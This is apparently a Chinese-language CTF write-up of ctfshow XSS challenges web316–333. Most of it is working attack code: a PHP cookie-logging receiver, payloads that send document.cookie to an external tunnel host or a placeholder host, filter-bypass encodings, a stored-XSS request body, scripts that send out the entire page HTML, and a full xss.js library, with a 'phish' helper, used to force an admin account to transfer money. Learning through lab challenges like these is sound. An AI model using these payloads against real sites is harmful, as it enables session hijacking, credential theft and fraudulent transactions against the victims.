web316
首先起一个服务记录请求参数。
1 2 3 4 5 6 7 8
| <?php
$content = $_GET["a"]; if (isset($content)) { file_put_contents("flag.txt", $content.PHP_EOL, FILE_APPEND); } ?> <script>alert("新年快乐!");</script>
|
然后将 cookie
作为参数拼接构造 payload
。
payload: <script>document.location.href='https://visiting-standard-try-jvc.trycloudflare.com/?a='+document.cookie</script>
然后等着 bot
去访问就行了,它的 cookie
里边有 flag
。
web317-319
增加了对 script 的过滤。
1 2 3 4
| <?php if ($_GET) { file_put_contents("default.txt", var_export($_GET, true).PHP_EOL, FILE_APPEND); }
|
payload: <body onload="location.href='http://xxxxx/default.php?cookie='+document.cookie"></body>
web320-326
burp 抓包二分法 payload 排除可知过滤了空格,改用 %0a 绕过。
payload: /?msg=%3Cbody%0aonload%3D%22location.href%3D'http%3A%2F%2Fxxxxx%2Fdefault.php%3Fcookie%3D'%2Bdocument.cookie%22%3E%3C%2Fbody%3E
web327
存储型?一样的 payload。
1 2 3
| /mail.php
content=%3Cbody+onload%3D%22location.href%3D%27http%3A%2F%2Fxxxxx%2Fdefault.php%3Fcookie%3D%27%2Bdocument.cookie%22%3E%3C%2Fbody%3E%0D%0A&like%5Brank%5D=on&poster=admin&sender=aaa&weather=2
|
web328
注册后用户名和密码处存在注入点,这次不能继续用 <body>
了,用回 <script>
。
这里搭了个 bluelotus 的 xss 平台,default.js 模板,没有过滤。
1
| <script src="http://xxxxxx/pt/myjs/d.js"></script>
|
获取 cookie 的 PHPSESSID,伪造后访问 /manager.php 看到 flag。
web329
和上题差不多,不过这次获取到的 PHPSESSID 不能伪造了,改用截屏模块获取到 admin 账户密码为 ctfshowdacaiji,登录查看 flag。
或者也可以写一个提取 flag 这部分内容然后发过来的脚本,比如:
1 2
| var website="http://xxxxx/default.php"; (function(){(new Image()).src=website+'/?content='+escape(document.getElementsByClassName("layui-form layui-border-box layui-table-view")[0].innerHTML)})();
|
web330-331
这次的 flag 位置改到了提示的位置,如果不是截图脚本的话,盲写脚本还挺困难的… 不对,或许我还可以直接获取整个网页的源码然后返回!
1 2
| var website="http://xxxxx/default.php"; (function(){(new Image()).src=website+'/?content='+escape(document.body.innerHTML)})();
|
果然发送前过滤这些信息就是给自己添堵。。。
web332
这道题很怪,密码改不掉、转账 api 都调不了。X 了之后会被转账检测到,转账全失败。。。
群主是用 -10000 转给自己然后 buyFlag.php 过的,不知道有没有 xss 解的。
web333
这次 xss 不会影响转账了,而且修复了负数转账的 Bug。
直接让 admin 给我打钱
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182
| var xss = function() { var x = { 'name': 'xss.js', 'version': '0.1', 'author': 'jackmasa' };
x.x = function(id) { return document.getElementById(id) };
x.e = function(_) { try { return eval('(' + _ + ')') } catch (e) { return '' } };
x.i = { i: !!self.ActiveXObject, c: !!self.chrome, f: self.mozPaintCount > -1, o: !!self.opera, s: !self.chrome && !!self.WebKitPoint };
x.ua = navigator.userAgent;
x.apple = x.ua.match(/ip(one|ad|od)/i) != null;
x.rdm = function() { return ~~(Math.random() * 100000) };
x.ec = encodeURIComponent;
x.html = document.getElementsByTagName('html')[0];
x.kill = function(e) { e.parentElement.removeChild(e); };
x.bind = function(e, name, fn) { e.addEventListener ? e.addEventListener(name, fn, false) : e.attachEvent("on" + name, fn); };
x.ready = function(fn) { if (!x.i.i) { x.bind(document, 'DOMContentLoaded', fn); } else { var s = setInterval(function() { try { document.body.doScroll('left'); clearInterval(s); fn(); } catch (e) {} }, 4); } }
x.o = function(url) { var link = x.dom('<a href="' + encodeURI(url) + '">', 2); return link.protocol + link.hostname + ':' + link.port == location.protocol + location.hostname + ':' + link.port; };
x.dom = function(html, gcsec) { var tmp = document.createElement('span'); tmp.innerHTML = html; var e = tmp.children[0]; e.style.display = 'none'; x.html.appendChild(e); gcsec >> 0 > 0 && setTimeout(function() { x.kill(e); }, gcsec * 1000); return e; };
x.ajax = function(url, params, callback) { (params instanceof Function) && (callback = params, params = void(0)); var XHR = (!x.o(url) && window.XDomainRequest) || window.XMLHttpRequest || (function() { return new ActiveXObject('MSXML2.XMLHTTP') }); var xhr = new XHR(); xhr.open(params ? 'post' : 'get', url); try { xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded') } catch (e) {} callback && (xhr.onreadystatechange = function() { (this.readyState == 4 && ((this.status >= 200 && this.status <= 300) || this.status == 304)) && callback.apply(this, arguments); }); xhr.send(params); };
x.najax = function(url, params) { if (params) { var form = x.dom('<form method=post accept-charset=utf-8>'); form.action = url; for (var name in params) { var input = document.createElement('input'); input.name = name; input.value = params[name]; form.appendChild(input); } var iframe = x.dom('<iframe name=_' + x.rdm() + '_>', 6); form.target = iframe.name; form.submit(); } else { new Image().src = url + '&' + x.rdm(); } };
x.phish = function(url) { x.ajax(url, function() { document.open(); document.write(this.responseText); document.close(); history.replaceState & x.o(url) && history.replaceState('', '', url); }) };
x.xform = function(form, action) { form.old_action = form.action, form.old_target = form.target, form.action = action; var iframe = x.dom('<iframe name=_' + x.rdm() + '_>'); form.target = iframe.name; setTimeout(function() { x.bind(iframe, 'load', function() { form.action = form.old_action, form.target = form.old_target, form.onsubmit = null, form.submit(); }) }, 30); };
x.proxy = function(fn, before, after) { return function() { before && before.apply(this, arguments); var result = fn.apply(this, arguments); after && after.apply(this, arguments); return result; } };
return x; }(); xss.ajax("http://127.0.0.1/api/amount.php", "u=123&a=10000");
|
XSS 部分到此告一段落。